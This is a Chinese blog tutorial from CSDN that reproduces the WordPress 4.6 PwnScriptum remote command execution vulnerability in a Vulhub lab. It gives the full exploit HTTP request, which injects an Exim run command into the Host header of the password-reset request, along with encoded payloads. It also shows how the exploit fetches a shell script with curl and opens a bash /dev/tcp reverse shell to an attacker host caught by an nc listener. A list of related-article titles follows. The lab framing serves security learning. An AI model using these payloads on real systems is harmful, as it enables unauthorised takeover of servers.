wordpress 4.6任意命令执行漏洞(PwnScriptum)复现
今天继续给大家介绍渗透测试相关知识,本文主要内容是wordpress 4.6任意命令执行漏洞(PwnScriptum)复现。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、wordpress 4.6任意命令执行漏洞(PwnScriptum)简介与靶场搭建
wordpress 4.6版本存在任意命令执行漏洞(PwnScriptum),该漏洞产生于
,我们可以把要执行的命令写入到Post数据包中的Host字段中。
该漏洞影响的范围是wordpress<=4.6.0,PHP Mailer<5.2.18。
我们使用Vulhub靶场来搭建该漏洞,进入到/vulhub-master/wordpress/pwnscriptum/目录后,我们执行命令:
docker-compose up -d
即可启动漏洞环境,命令执行结果如下所示:
执行命令:
docker-compose config
即可查看当前的Docker虚拟机配置,命令执行结果如下所示:
我们根据配置,就可以访问Docker虚拟环境了,访问结果如下所示:
我们简单安装WordPress后,就可以进行漏洞复现了。
二、wordpress 4.6任意命令执行漏洞(PwnScriptum)复现
该漏洞EXP如下所示:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{【要执行的命令】}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=admin
该数据包属于重置密码时产生的数据包,产生于下图中“获取新密码”点击后。
我们在数据包中将要执行的命令,插入到上述payload中指定的位置,就可以实现命令执行了。但是,这个漏洞的利用存在很大的限制,主要限制如下所示:
1、我们需要将执行的命令中“/”替换成${substr{0}{1}{$spool_directory}},将空格替换成${substr{10}{1}{$tod_log}}。在命令中可以出现“-”、“.”等字符,但是不能出现引号、管道符。
2、该命令会被转化成小写字母。
3、我们的命令需要使用绝对路径,而不能使用Linux环境变量。例如不能直接使用bash,要使用/bin/bash。
4、我们需要在上述数据包中输入正确的用户名,因此该漏洞的利用前提还必须知道wordpress后台一个存在的用户名。
5、我们处理后的命令会执行,但是不会显示到页面上。
针对上述限制,我们如果想借助这个漏洞获取shell,由于输入的命令存在字符上的限制,那么通常需要将先将建立shell的代码放入我们受控的服务器中,让目标系统将该代码下载下来,然后再控制执行该代码。
综上,我们需要执行以下两步命令来获取shell:
1、/usr/bin/curl -o /tmp/rce 192.168.136.1/shell.sh
2、/bin/bash /tmp/rce
在本地服务器上shell.sh的内容是:
bash -i >& /dev/tcp/192.168.136.1/7777 0>&1
我们还需要在本地服务器上使用nc建立监听的TCP端口,执行命令:
nc -lvp 7777
对上述代码还存在疑惑的可以参考文章:Windows nc命令下载使用与使用bash建立反弹shell
下面,在本地服务器上完成相关设置后,我们需要对上述2条命令进行处理。第一条命令原本为:
/usr/bin/curl -o /tmp/rce 192.168.136.1/shell.sh
将命令中的斜杠和空格替换成指定内容,并添加固定格式后后,新的命令为:
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}192.168.136.1${substr{0}{1}{$spool_directory}}shell.sh}} null)
我们使用BurpSuite抓取指定的数据包,然后将上述命令放到数据包的Host部分,如下所示:
之后,我们用同样的方式处理第二条命令,第二条命令原本为:
/bin/bash /tmp/rce
处理后为:
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)
放入到BurpSuite抓包后结果为:
上述命令执行完毕后,我们可以在本地看到已经建立了nc链接,我们拿到了目标服务器的shell权限,可以执行命令了,如下所示:
从上图可以看出,wordpress 4.6任意命令执行漏洞(PwnScriptum)复现成功!
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200
wordpress 4.6任意命令执行漏洞(PwnScriptum)复现相关推荐
- 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞
学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...
- Wordpress 4.6 任意命令执行漏洞
文章目录 前言 一.构造burp数据包内容 1.构造原理 2.最终构造数据包如下 二.使用步骤 1.本漏洞实际利用存在的限制 2.反弹shell 3.开启监听 三.通过burp获取权限 1.发送下载s ...
- python直接执行代码漏洞_修复Python任意命令执行漏洞
Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...
- couchdb 任意命令执行漏洞(cve-2017-12636)
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...
- FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)
#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...
- eyoucms 1.5.5任意命令执行漏洞(0day)
eyoucms 1.5.5任意命令执行漏洞 文章目录 eyoucms 1.5.5任意命令执行漏洞 一.漏洞简介 二.漏洞影响 三.复现过程 漏洞位置 漏洞分析 漏洞利用 一.漏洞简介 eyoucms1 ...
- TamronOS IPTV系统 ping 任意命令执行漏洞
TamronOS IPTV系统 ping 任意命令执行漏洞 目录 系统简介 漏洞描述 漏洞复现 总结 系统简介 TamronOS IPTV/VOD系统是一套基于Linux内核开发的宽带运营商.酒店.学 ...
- 通达OA v11.9 getdata任意命令执行漏洞复现+利用
1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...
- php打开网页执行即执行bat程序_CVE202011107:XAMPP任意命令执行漏洞复现
0x00简介 XAMPP是一个把Apache网页服务器与PHP.Perl及MariaDB集合在一起的安裝包,允许用戶可以在自己的电脑上轻易的建立网页服务器.该软件与phpstudy类似. 2020年4 ...
最新文章
- java Random类详解
- 关卡设计快速入门_5. 编辑已放置的Actor
- MySQL 优化上来就分库分表?面试官:根本不懂底层原理!
- 今日学习心得——装饰模式
- 【十大经典数据挖掘算法】Naïve Bayes
- webflux 对url参数的接收处理
- Python计算斐波那契数列
- 如何让网站在百度有LOGO展示
- matlab中卡尔曼滤波,卡尔曼滤波算法及MATLAB实现
- 1976国际标准大气模型_Matlab
- java源码解读 pdf_好家伙!这一篇文章就给你讲明白了Java并发实现原理之JDK源码剖析(PDF文档)...
- 其他——dhtmlxGantt甘特图API精华总结
- 三步快速搭建android开发环境 (下载包已集成可用sdk,无需费心到google相应网站下载,快哉!)
- iOS公司开发者账号申请 营业执照
- 小森生活服务器维护公告,小森生活2021年5月11日停服更新公告
- 相机内参 k_4K相机与智能手机中的4K视频相比如何
- Ubuntu14.04 安装 TL-WN823N无线网卡驱动
- 《AI算法工程师手册》
- 如何安装numpy库
- 小数分频器vhdl实现_VHDL实现分频器 - zy010101的个人空间 - OSCHINA - 中文开源技术交流社区...
热门文章
- java类与对象 编程题目_Java类与对象的课后练习
- On the Uncertain Single-View Depths in Endoscopies
- [Object-c] 通知 通告 简介
- vue服务端渲染之nuxtjs
- 最美的公式:你也能懂的麦克斯韦方程组(积分篇)
- Netty之ChannelHandlerContext.writeAndFlush与channel.writeAndFlush的区别
- 电脑怎么设置自动开机时间
- C语言辗转相除法求两数最大公因数
- JavaCV音视频开发宝典:使用JavaCV和springBoot实现http-flv直播服务,无需流媒体服务,浏览器网页flv.js转封装方式播放rtsp,rtmp和桌面投屏实时画面
- vue打卡日历_打卡日历,日历前端实现,日历特殊标识后端提供(Vue)